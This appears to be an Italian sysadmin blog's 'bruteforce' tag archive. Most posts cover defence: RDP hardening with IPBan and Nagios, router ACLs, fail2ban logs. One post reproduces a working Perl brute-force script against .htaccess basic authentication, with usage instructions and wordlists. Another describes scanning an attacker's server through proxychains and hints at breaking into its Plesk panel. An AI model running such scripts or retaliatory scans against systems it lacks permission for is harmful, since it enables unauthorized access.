Archivi tag: bruteforce

Hardening del servizio Remote Desktop su Windows Server 2008 R2

Uno dei target preferiti dagli script kiddie è il servizio Remote Desktop di Windows. Vi assicuro che, giornalmente, i tentativi di bruteforcing contro di esso possono superare (e anche di molto ) il centinaio. Proprio per questo motivo ho deciso di mettere in atto tutta una serie di accorgimenti in grado di limitare questa tipologia di attacco, basandomi principalmente su due strategie:

1) quella proattiva, grazie alla quale è possibile bloccare l’IP sorgente dei tentativi di intrusione;

2) quella passiva, basata sul monitoraggio in tempo reale degli eventi di Windows, con la generazione di alert ad hoc da parte dell’NMS (Nagios) nel caso in cui vi siano episodi di logon falliti.

user-enumeration-mediante-nmap-L-gnHMmv

Entrambe le suddette strategie si applicano a tutti i servizi attivi sulla macchina remota e che prevedono autenticazione (FTP, HTTP, ecc.), incluso, ovviamente, il Remote Desktop.

Ingredienti

I software necessari per l’hardening del servizio Remote Desktop sono i seguenti:

1) Il tool IPBan (che potete scaricare gratuitamente da qui), il quale è in grado di bannare l’IP sorgente degli attacchi dopo un determinato numero di tentativi di accesso falliti;

2) Il tool NSClient++ (anch’esso gratuito, lo si può scaricare da qui), nella versione 0.4.1.105 per architettura a 64 bit (la più recente tra quelle che non hanno problemi con il matching dei filtri sul monitoraggio degli eventi di Windows).

Lato NMS, invece, è necessario installare e configurare NSCA server, il quale rimarrà in ascolto sulla porta TCP 5667 nell’attesa che NSClient++ gli inoltri qualche evento (grazie all’applicativo NSCAClient). Una volta ricevuto l’evento, esso verrà dato in pasto a Nagios che, grazie ad un servizio di tipo passivo, genererà un allarme specifico in grado di ragguagliarci sul tentativo di accesso fallito.

Installazione e configurazione di IPBan

Prima di installare il suddetto tool è necessario configurare la macchina su cui è attivo Remote Desktop, operando mediante l’utility secpol.msc (Local Policy -> Security Options) ed impostando i seguenti parametri:

1) Network security: LAN Manager authentication level da settare su Send NTLMv2 response only. Refuse LM & NTLM

2) Network security: Restrict NTLM: Audit Incoming NTLM Traffic da impostare su Enable auditing for all accounts

3) Network security: Restrict NTLM: Incoming NTLM traffic da impostare su Deny all accounts

Inoltre, è necessario settare su Allow connections from computers running any version of Remote Desktop (less secure) il tab Remote delle impostazioni di sistema (vedi lo screenshot sottostante).

RDP

Tali direttive sono necessarie affinchè sul log degli eventi di Windows venga salvato l’indirizzo IP sorgente dell’attacco, in modo tale che IPBan possa riconoscerlo e quindi bloccarlo.

Una volta fatto ciò, estraiamo il contenuto del file IPBan.zip all’interno di C:\IPBan e lanciamo il prompt dei comandi con privilegi di amministratore, per poi digitare il seguente comando:

C:\IPBan> sc create IPBAN type= own start= auto binPath= C:\IPBan\ipban.exe DisplayName= IPBAN

il quale ci permetterà di creare un servizio apposito basato sul tool appena scaricato.

Inoltre, editiamo il suo file di configurazione (IPBan.exe.config), portando a 3 il numero massimo di tentativi di logon falliti prima del ban (tale valore, di default, è pari 5):

<!-- Number of failed audits in the event viewer before banning the ip address -->
<add key="FailedLoginAttemptsBeforeBan" value="3" />

Infine avviamo il servizio precedentemente creato:

C:\Users\Administrator>net start IPBAN

Installazione e configurazione di NSClient++

Come già detto in precedenza, il suddetto software ci consente di monitorare in tempo reale gli eventi di Windows, filtrandoli in modo opportuno.

Nel mio caso ho scelto di installare solo ed esclusivamente i plugin più comuni ed NSCAClient, il quale interagirà col nostro NMS.

Di seguito riporto uno screenshot esplicativo:

nsclient

Una volta completata l’installazione si può procedere con la configurazione di NSClient++, editando il file nsclient.ini presente nella directory C:\Program Files\NSclient++ ed il cui contenuto dovrebbe essere simile al seguente:

 # If you want to fill this file with all avalible options run the following command:
#   nscp settings --generate --add-defaults --load-all
# If you want to activate a module and bring in all its options use:
#   nscp settings --activate-module <MODULE NAME> --add-defaults
# For details run: nscp settings --help

; Undocumented section
[/settings/default]

; Undocumented key
password = vostrapassword

; Undocumented key
allowed hosts = 127.0.0.1,::1

; Undocumented section
[/modules]

;moduli da abilitare
CheckEventLog=1
NSCAClient = 1

[/settings/eventlog/real-time]
enabled=1
debug=1
log=Application,Security
destination=NSCA
startup age=30m

[/settings/eventlog/real-time/filters/logon-failed]
filter= id = 4625 
severity= WARNING

[/settings/NSCA/client]
hostname=Server-Windows-RDP

[/settings/NSCA/client/targets/default]
address=nsca://indirizzoNMS:5667
encryption=3des
password=vostrapassword

In particolare, nella sezione [/modules] vengono specificati i moduli di NSClient++ da caricare, ovvero CheckEventLog ed NSCAClient (il primo serve per il monitoraggio in tempo reale degli eventi ed il secondo per l’inoltro degli stessi all’NMS).

Nella sezione [/settings/eventlog/real-time] vengono definiti i parametri generali per il monitoraggio degli eventi, tra cui i log di cui tenere traccia (Application e Security) ed a chi devono essere inoltrati (destination=NSCA). Inoltre, solo durante una prima fase di testing, è opportuno abilitare la modalità debug (debug=1), soprattutto per verificare il corretto funzionamento dei filtri da noi definiti.

Nella sezione [/settings/eventlog/real-time/filters/logon-failed] (dove logon-failed non è altro che il nome del servizio associato all’host da monitorare e presente nello specifico file di configurazione di Nagios) viene indicato il filtro da utilizzare per l’identificazione dell’evento (filter=ID = 4625, ovvero logon failure) e la severity dell’alert generato da Nagios (severity= WARNING).

In [/settings/NSCA/client] viene definito l’hostname del server da monitorare (hostname=Server-Windows-RDP), il quale deve coincidere con quello definito nel file di configurazione di Nagios.

Infine, in [/settings/NSCA/client/targets/default] vengono indicati i parametri di connessione al nostro NMS (su cui è attivo il server NSCA), quali URL (address=nsca://indirizzoNMS:5667), modalità di cicfratura simmetrica (encryption=3des) e password (password=vostrapassword). Da notare che, inizialmente, avevo scelto come metodo di cifratura AES256 lato client e RIJNDAEL-256 lato server, ma l’autenticazione falliva costantemente, ragion per cui ho dovuto optare per il triplo des.

Avviamo quindi il servizio nscp mediante il comando:

C:\Users\Administrator>net start nscp

e passiamo alla configurazione dell’NMS.

Installazione e configurazione di NSCA Server

La macchina su cui è attivo Nagios è una CentOS 6.4 a 64 bit ergo, per installare NSCA Server (nella sua ultima versione stabile, ovvero la 2.7.2), è sufficiente lanciare il comando:

[root@nms ~]# yum install nagios-nsca

Una volta installato, occorre configurarlo edintando il file /etc/nagios/nsca.cnf, il cui contenuto dovrà essere simile al seguente:

pid_file=/var/run/nsca.pid

server_port=5667

nsca_user=nagios

nsca_group=nagios

debug=1

command_file=/var/spool/nagios/cmd/nagios.cmd

alternate_dump_file=/var/spool/nagios/nsca.dump

aggregate_writes=0

append_to_file=0

max_packet_age=30

password=vostrapassword

decryption_method=3

Dove il decryption method 3 non è altro che il triplo des. Ovviamente, affinchè client e server possano “capirsi”, è necessario che decryption method e password coincidano su entrambi i fronti.

Infine, avviamo il servizio in questione digitando:

[root@nms ~]# service nsca start

Configurazione di Nagios

L’ultimo step consiste nella configurazione di un servizio di tipo passivo relativo all’host monitorato da Nagios. Editiamo quindi il file /etc/nagios/object/Server-Windows-RDP.cfg aggiungendo il servizio logon-failed, il quale avrà la seguente struttura:

define service{
        use                             local-service
        host_name                       Server-Windows-RDP
        service_descripion             logon-failed
        check_command                   check_passive
        passive_checks_enabled          1
        active_checks_enabled           0
        max_check_attempts              1
        is_volatile                     1
        check_freshness                 1
        freshness_threshold             600
        flap_detection_enabled          0
        }

Ricarichiamo la configurazione del nostro NMS per rendere effettive le suddette modifiche:

[root@nms ~]# service nagios reload

ed abbiamo finito.

Considerazioni finali

Prima di chiedere il post occorre fare qualche precisazione:

1) Non sono un fan di NSCP,  sia perchè vi sono continui cambi di sintassi tra minor release (soprattutto per ciò che concerne la definizione dei filtri) che per la presenza di qualche baco più o meno grave. Ad esempio, ho notato che nella versione 0.5.0, l’inserimento di record all’interno del log degli eventi di Windows (creati ad hoc mediante il comando nscp eventlog insert) non funziona (come alternativa ho dovuto utilizzare l’applet write-eventlog di PowerShell).

2) E’ necessario che la versione del client NSCA sia identica a quella del server, pena l’impossibilità di ricevere gli eventi (CRC error).

3) Sia lato client che lato server il payload massimo degli eventi è pari a 512 byte (limite superato abbondatemente nella versione unstable 2.9.1 e portato a 4096 byte). Ciò comporta la possibile perdita di parte dell’output (ovvero tutto ciò che eccede i 512 byte). Esiste comunque una direttiva (lato client) in grado di innalzare il suddetto limite (payload length), ma per farla funzionare è necessario modificare il contenuto della libreria common.h prima della compilazione da sorgente. Quest’ultima operazione risulta essere abbastanza semplice se si ha a che fare con i sorgenti *NIX (#define MAX_PLUGINOUTPUT_LENGTH 4096) ma molto più tediosa nel caso dei sorgenti Windows.

Il post termina qui.

Alla prossima.

Script perl per attacchi bruteforce contro l’autenticazione .htaccess

Premessa

Questo scrip non è farina del mio sacco. Il solo scopo di questo post è quello di mostrarne il funzionamento, in modo da semplificare la vita agli amministratori di sistema che volessero saggiare la robustezza delle credenziali .htaccess per l’accesso ai loro siti Web.

 

brute.jpg

Scrip

#!/usr/bin/perl
###
#
# brute password crackalacker. useful for anything that uses .htaccess
# or other basic authentication methods.
#
# don't use it for anything stupid. it's for pentesting.
# - nwo
#
# 11/2/2007
#
###

use LWP::UserAgent;

sub usage() {
$progname = $0;
print "+--- created by nwo ---+n";
print "$progname (ip) (user) (dictionary file)n";
print "n";
exit(0);
}

sub auth() {
local($pw) = @_;
$ua = LWP::UserAgent->new;
$req = HTTP::Request->new(GET => "http://$ip/");
$req->authorization_basic($user, $pw);
@data = $ua->request($req)->as_string;
foreach $line (@data) {
if($line =~ /401/) {
return "0";
} else {
return "1";
}
}
}
$ip = $ARGV[0];
$user = $ARGV[1];
$dict = $ARGV[2];
if($dict eq "") {
$dict = "D8.DIC";
}
if($user eq "") { &usage; }

D, "$dict") || die "$!";
while() {
chomp($line = $_);
print "Trying $line....";
if((&auth($line)) eq "0") {
print "failed. Next..n";
next;
}
if((&auth($line)) eq "1") {
print "success! Password is $linen";
exit(0);
}
}

Lo usage dello scrip (come riportato nel sorgente) è il seguente:

perl htbrute.pl <ip del sito> <user> <dizionario>

Ad esempio:

perl htbrute.pl 192.168.1.1 admin italian

In particolare, i dizionari sono presenti nella directory /usr/share/dict. Potete comunque installarne di nuovi mediante il comando:

nightfly@nightbox:~$ sudo apt-get install <nome del dizionario>

I dizionari disponibili per l’installazione sono i seguenti (divisi in base alla lingua):

wgerman-medical
wfinnish
wcanadian-small
wcanadian-large
wcanadian-insane
wcanadian-huge
wcanadian
wbritish-small
wbritish-large
wbritish-insane
wbritish-huge
wamerican-small
wamerican-large
wamerican-insane
wamerican-huge
wukrainian
wswiss
wswedish
wspanish
wportuguese
wpolish
wogerman
wnorwegian
wngerman
witalian
wgalician-minimos
wfrench
wfaroese
wdutch
wdanish
wcatalan
wbulgarian
wbritish
wbrazilian
wamerican
miscfiles

Infine, nel caso in cui il nostro sito fosse raggiungibile solo mediante HTTPS, basta modificare la seguente stringa:

$req = HTTP::Request->new(GET => "http://$ip/");

in:

$req = HTTP::Request->new(GET => "https://$ip/");

Discorso simile va fatto se occorre controllare una determinata sottodirectory:

$req = HTTP::Request->new(GET => "http://$ip/nomedir");

Buon PenTest.

Script kiddie 0 – 1 Nazareno

In questo post vi ho parlato del lamer che si ostinava a bombardare i miei server sulla porta SSH standard. Essendo che la maggior parte degli attacchi proveniva da IP appartenenti a KoreaNET, ho deciso di impostare delle opportune ACL direttamente sul router.

Il tizio, però, accortosi di quanto accaduto, ha cominciato ad utilizzare altre shell su provider diversi, soprattutto africani. Poichè non ho intenzione di blacklistare tutto il mondo, ho pensato di correre ai ripari in modo diverso.

Per prima cosa, analizzando il fail auth.log ho notato che tutti i tentativi di accesso venivano effettuati utilizzando come username root:

Jul 31 11:31:20 nightbox sshd[26506]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=125.132.225.70  user=root

Jul 31 11:31:22 nightbox sshd[26508]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=14.45.203.1  user=root

Jul 31 11:31:22 nightbox sshd[26511]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=41.236.232.32  user=root

Ho quindi disabilitato l’accesso root, agendo direttamente sul file sshd_config presente in /etc/ssh:

PermitRootLogin no

Adesso potrà provare tutti i dizionari che vuole, ma ogni tentativo di login come root gli risponderà picche.

Inoltre, poichè mi secca ricevere miliardi di mail da fail2ban perchè questo tizio ha deciso che il suo nuovo hobby è bombardare i range di IP italiani (tra cui quelli dei miei server) ho messo in ascolto il servizio SSH su una porta non standard (compresa tra 1024 e 65535). Non credo sia tanto skillato da fare un nmap per individuare la nuova porta su cui SSH è in listening.

Vi terrò comunque aggiornati sugli ulteriori sviluppi.

A presto.

Attacco bruteforce SSH su range di IP italiani

Da circa una settimana fail2ban mi segnala tutta una serie di attacchi bruteforce diretti al servizio SSH in ascolto sui miei server. Questi attacchi si verificano sempre agli stessi orari, ovvero verso le 11 di mattina e verso le 23 di sera. Inoltre, provengono da diversi indirizzi IP, soprattutto coreani, il che mi fa sospettare che vengano pilotati da uno dei tanti lamer di turno in possesso di una piccola botnet composta da zombie.

Facendo un nmap su 3 dei PC da cui proviene l’attacco, ho notato la presenza della porta 20000 TCP aperta, la quale accetta connessioni SSH in ingresso mediante scambio delle chiavi. Ecco come il lamerozzo pilota la sua botnet…

Interesting ports on 222.117.21.18:
Not shown: 992 closed ports
PORT      STATE    SERVICE
111/tcp   open     rpcbind
135/tcp   filtered msrpc
139/tcp   filtered netbios-ssn
445/tcp   filtered microsoft-ds
1234/tcp  open     hotline
2869/tcp  filtered unknown
4444/tcp  filtered krb524
20000/tcp open     unknown

Ma come fare per contrastare questi attacchi? Semplice, basta impostare delle opportune ACL deirettamente sul router (sempre che il vostro router sia Cisco).

Nella fattispecie, ecco l’ACL che sto utilizzando:

access-list 101 deny ip host 127.0.0.1 any log
access-list 101 deny ip host 255.255.255.255 any log
access-list 101 deny ip 10.0.0.0 0.255.255.255 any log
access-list 101 deny ip 172.16.0.0 0.15.255.255 any log
access-list 101 deny ip 224.0.0.0 15.255.255.255 any log
access-list 101 permit icmp any any echo-reply 
access-list 101 deny icmp any any 
access-list 101 deny ip 121.128.0.0 0.31.255.255 any log 
access-list 101 deny ip 121.160.0.0 0.31.255.255 any log 
access-list 101 deny ip 118.32.0.0 0.31.255.255 any log 
access-list 101 deny ip 59.0.0.0 0.31.255.255 any log 
access-list 101 deny ip 61.76.0.0 0.3.255.255 any log
access-list 101 deny ip 119.192.0.0 0.31.255.255 any log 
access-list 101 deny ip 61.72.0.0 0.3.255.255 any log 
access-list 101 deny ip 221.144.0.0 0.15.255.255 any log 
access-list 101 deny ip 222.96.0.0 0.15.255.255 any log 
access-list 101 deny ip 115.0.0.0 0.15.255.255 any log
access-list 101 deny ip 220.92.0.0 0.3.255.255 any log 
access-list 101 deny ip 221.163.0.0 0.15.255.255 any log
access-list 101 deny ip 220.116.0.0 0.15.255.255 any log  
access-list 101 deny ip 112.160.0.0 0.31.255.255 any log
access-list 101 deny ip 175.192.0.0 0.63.255.255 any log
access-list 101 permit ip any any

Per lo più si tratta di blocchi di indirizzi /11, /12, /13 e /14. E’ stato facile per me individuare la wildcard da utilizzare nelle regole dell’ACL poichè fail2ban fornisce il CIDR degli indirizzi, riportandolo nelle mail di notifica:

# ENGLISH

KRNIC is not an ISP but a National Internet Registry similar to APNIC.

[ Network Information ]

IPv4 Address : 115.0.0.0 - 115.23.255.255 (/12+/13)

Service Name : KORNET

Organization Name : Korea Telecom

Organization ID : ORG1600

Address : 206, Jungja-dong, Bundang-gu, Sungnam-ci

Zip Code : 463-711

Registration Date : 20080703

ecc.

Adesso il lamer potrà sfruttare PC connessi ad altri provider, ma non quelli di KORNET.

A presto.

SSH Bombing

Premesso che sui server che gestisco gli attacchi di tipo bruteforce sono all’ordine del giorno, oggi fail2ban ha cominciato ad imprecare in modo alquanto insistente.

Ma cosa ci sarà da strillare così tanto? Do un’occhiata ai file di log e mi accorgo che da ben 12 ore, un certo indirizzo IP sta provando a forzare il servizio SSH in ascolto sulle mie macchine.

Uhm, vediamo un po’ cosa dice il mio amico fail2ban:

Hi,           

The IP 174.132.*.* has just been banned by Fail2Ban after 6 attempts against ssh.                 
Here are more information about 174.132.*.*:           
#     
# Query terms are ambiguous.  The query is assumed to be:     
#     "n 174.132.*.*"     
#     
# Use "?" to get help.     
#           
#     
# The following results may also be obtained via:     
# http://whois.arin.net/rest/nets;q=174.132.*.*?showDetails=true&showARIN=false     
# NetRange:       174.132.0.0 - 174.133.255.255     
  CIDR:           174.132.0.0/15     
  OriginAS:       AS36420, AS30315, AS13749, AS21844     
  NetName:        NETBLK-THEPLANET-BLK-15     
  NetHandle:      NET-174-132-0-0-1     
  Parent:         NET-174-0-0-0-0     
  NetType:        Direct Allocation     
  RegDate:        2008-06-17     
  Updated:        2008-06-17     
  Ref:            http://whois.arin.net/rest/net/NET-174-132-0-0-1                 
  OrgName:        ThePlanet.com Internet Services, Inc.     
  OrgId:          TPCM     
  Address:        315 Capitol     
  Address:        Suite 205     
  City:           Houston     
  StateProv:      TX     
  PostalCode:     77002     
  Country:        US     
  RegDate:        1999-08-31     
  Updated:        2010-10-13     
  Ref:            http://whois.arin.net/rest/org/TPCM           
  ReferralServer: rwhois://rwhois.theplanet.com:4321           
  OrgNOCHandle: THEPL-ARIN     
  OrgNOCName:   The Planet NOC     
  OrgNOCPhone:  +1-281-822-4204      
  OrgNOCEmail:  noc@theplanet.com     
  OrgNOCRef:    http://whois.arin.net/rest/poc/THEPL-ARIN          
  OrgTechHandle: TECHN33-ARIN     
  OrgTechName:   Technical Support     
  OrgTechPhone:  +1-214-782-7800      
  OrgTechEmail:  admins@theplanet.com     
  OrgTechRef:    http://whois.arin.net/rest/poc/TECHN33-ARIN           
  OrgAbuseHandle: ABUSE271-ARIN     
  OrgAbuseName:   The Planet Abuse     
  OrgAbusePhone:  +1-281-714-3560      
  OrgAbuseEmail:  abuse@theplanet.com     
  OrgAbuseRef:    http://whois.arin.net/rest/poc/ABUSE271-ARIN           
  RTechHandle: TECHN33-ARIN     
  RTechName:   Technical Support     
  RTechPhone:  +1-214-782-7800      
  RTechEmail:  admins@theplanet.com     
  RTechRef:    http://whois.arin.net/rest/poc/TECHN33-ARIN           
  RAbuseHandle: ABUSE271-ARIN     
  RAbuseName:   The Planet Abuse     
  RAbusePhone:  +1-281-714-3560      
  RAbuseEmail:  abuse@theplanet.com     
  RAbuseRef:    http://whois.arin.net/rest/poc/ABUSE271-ARIN           
  RNOCHandle: THEPL-ARIN     
  RNOCName:   The Planet NOC     
  RNOCPhone:  +1-281-822-4204      
  RNOCEmail:  noc@theplanet.com     
  RNOCRef:    http://whois.arin.net/rest/poc/THEPL-ARIN           
#     
# ARIN WHOIS data and services are subject to the Terms of Use     
# available at: https://www.arin.net/whois_tou.html     
# Found a referral to rwhois.theplanet.com:4321.           
%rwhois V-1.5:003eff:00 whois.theplanet.com (by Network Solutions, Inc. V-1.5.9.5)     
Network:Class-Name:network     
network:ID:NETBLK-THEPLANET-BLK-15     
network:Auth-Area:174.132.0.0/15     
network:Network-Name:TPIS-BLK-174-132-*-0     
network:IP-Network:174.132.*.*/29     
network:IP-Network-Block:174.132.*.* - 174.132.*.*     
network:Organization-Name:Mike Dillard     
network:Organization-City:Austin    
network:Organization-State:TX     
network:Organization-Zip:78701     
network:Organization-Country:USA     
network:Description-Usage:customer     
network:Server-Pri:ns1.theplanet.com     
network:Server-Sec:ns2.theplanet.com     
network:Tech-Contact;I:abuse@theplanet.com     
network:Admin-Contact;I:abuse@theplanet.com     
network:Created:20090204     
network:Updated:20090216           
%ok           

Regards,           

Fail2Ban

Ah che bello… finalmente un attacco che non proviene dal classico cinese smanettone. Ehm, però qui c’è qualcosa che non mi quadra (leggasi server farm), proviamo a fare un piccolo nmap su quell’indirizzo, va:

nightfly@nightbox:~$ sudo proxychains nmap -sS 174.132.*.*     
[sudo] password for nightfly:     
ProxyChains-3.1 (http://proxychains.sf.net)           

Starting Nmap 5.00 ( http://nmap.org ) at 2011-04-12 20:20 CEST     
Interesting ports on **.ae.**ae.static.theplanet.com (174.132.*.*):     
Not shown: 983 closed ports     

PORT     STATE SERVICE     
21/tcp   open  ftp     
22/tcp   open  ssh     
25/tcp   open  smtp     
53/tcp   open  domain     
80/tcp   open  http     
106/tcp  open  pop3pw     
110/tcp  open  pop3     
111/tcp  open  rpcbind     
143/tcp  open  imap     
443/tcp  open  https     
465/tcp  open  smtps     
993/tcp  open  imaps     
995/tcp  open  pop3s     
1040/tcp open  netsaint     
1311/tcp open  rxmon     
3306/tcp open  mysql     
8443/tcp open  https-alt
Ecco, c’è solo qualche servizio in ascolto… e tra questi vi è anche il mitico Plesk! Chissà cosa accadrebbe se…

hacked.png

Vabbè ecco un’altra testa di ponte. Piccola mailina all’abuse e fine dei giochi.      

Bye.

Attacco bruteforce sul server FTP casalingo

Allora, diciamo che è dalle 8:26 di questa mattina che ricevo attacchi bruteforce sulle credenziali di accesso del mio server FTP casalingo da parte dell’IP 124.205.181.87:

Hi,

The IP 124.205.181.87 has just been banned by Fail2Ban after
6 attempts against vsftpd.

Here are more information about 124.205.181.87:

% [whois.apnic.net node-4]
% Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html

inetnum:        124.205.0.0 - 124.205.255.255
netname:        DXTNET
descr:          Beijing Teletron Telecom Engineering Co., Ltd.
descr:          Jian Guo Road, Chaoyang District, Beijing, PR.China
country:        CN
admin-c:        PP40-AP
tech-c:         PP40-AP
status:         ALLOCATED NON-PORTABLE
changed:        ipas@cnnic.net.cn 20080927
mnt-by:         MAINT-CNNIC-AP
mnt-lower:      MAINT-CNNIC-AP
mnt-routes:     MAINT-CNCGROUP-RR
source:         APNIC

person:         Pang Patrick
nic-hdl:        PP40-AP
e-mail:         bill.pang@bj.datadragon.net
address:        Fl./8, South Building, Bridge Mansion, No. 53
phone:          +86-10-63181513
fax-no:         +86-10-63181597
country:        CN
changed:        ipas@cnnic.net.cn 20030304
mnt-by:         MAINT-CNNIC-AP
source:         APNIC

Regards,

Fail2Ban

Premesso che non ho niente contro gli smanettoni cinesi… però qui ci vorrebbe un minimo di raziocinio, ossia: cosa mi bombardi il server FTP con il bruteforce quando mi pare CHIARO che non uso password semplici o di default? Bah, mi sa che imposterò una piccola ACL direttamente sul router.

Bye.

try2hack mybox: il nuovo gioco dell’estate

Ok, è il solito lunedì mattina e da quando ho deciso di rendere accessibile dall’esterno il mio server FTP l’analisi dei log è diventata una routine. Ecco allora che mi appresto a dare una lettura a /var/www/vsftpd.log e subito mi ritrovo 3 tonnellate di attempts del tipo:

Sun Jun 27 05:33:04 2010 [pid 20356] CONNECT: Client "208.51.239.*"
Sun Jun 27 05:33:07 2010 [pid 20355] [Administrator] FAIL LOGIN: Client "208.51.                                                      239.*"
Sun Jun 27 05:33:11 2010 [pid 20355] [Administrator] FAIL LOGIN: Client "208.51.                                                      239.*"
Sun Jun 27 05:33:14 2010 [pid 20355] [Administrator] FAIL LOGIN: Client "208.51.                                                      239.*"
Sun Jun 27 05:51:02 2010 [pid 24294] CONNECT: Client "208.51.239.*"
Sun Jun 27 05:51:05 2010 [pid 24293] [Administrator] FAIL LOGIN: Client "208.51.                                                      239.*"
Sun Jun 27 05:51:08 2010 [pid 24293] [Administrator] FAIL LOGIN: Client "208.51.                                                      239.*"
Sun Jun 27 05:51:11 2010 [pid 24293] [Administrator] FAIL LOGIN: Client "208.51.                                                      239.*"

Ed ecco a voi il classico attacco bruteforce esaustivo. Ma sta gente cosa ci troverà di interessante nel tentare di forzare un server FTP casalingo?

Ma trattasi del vero IP sorgente oppure di una testa di ponte? Gira che ti rigira, ho visto che a questo IP risponde un server HTTPS, il quale presenta un form per il login che mi è familiare… Si, è il classico login di fortiOS! (leggasi sistema operativo integrato in dotazione ai firewall Fortigate ma anche ai SAS900 Elsag-Datamat).

Non so perchè, ma qualcosa mi lascia pensare che si tratti proprio di una testa di ponte 🙂

Bhè, quanti “cracker” professionisti ci sono in giro!

Alla prossima.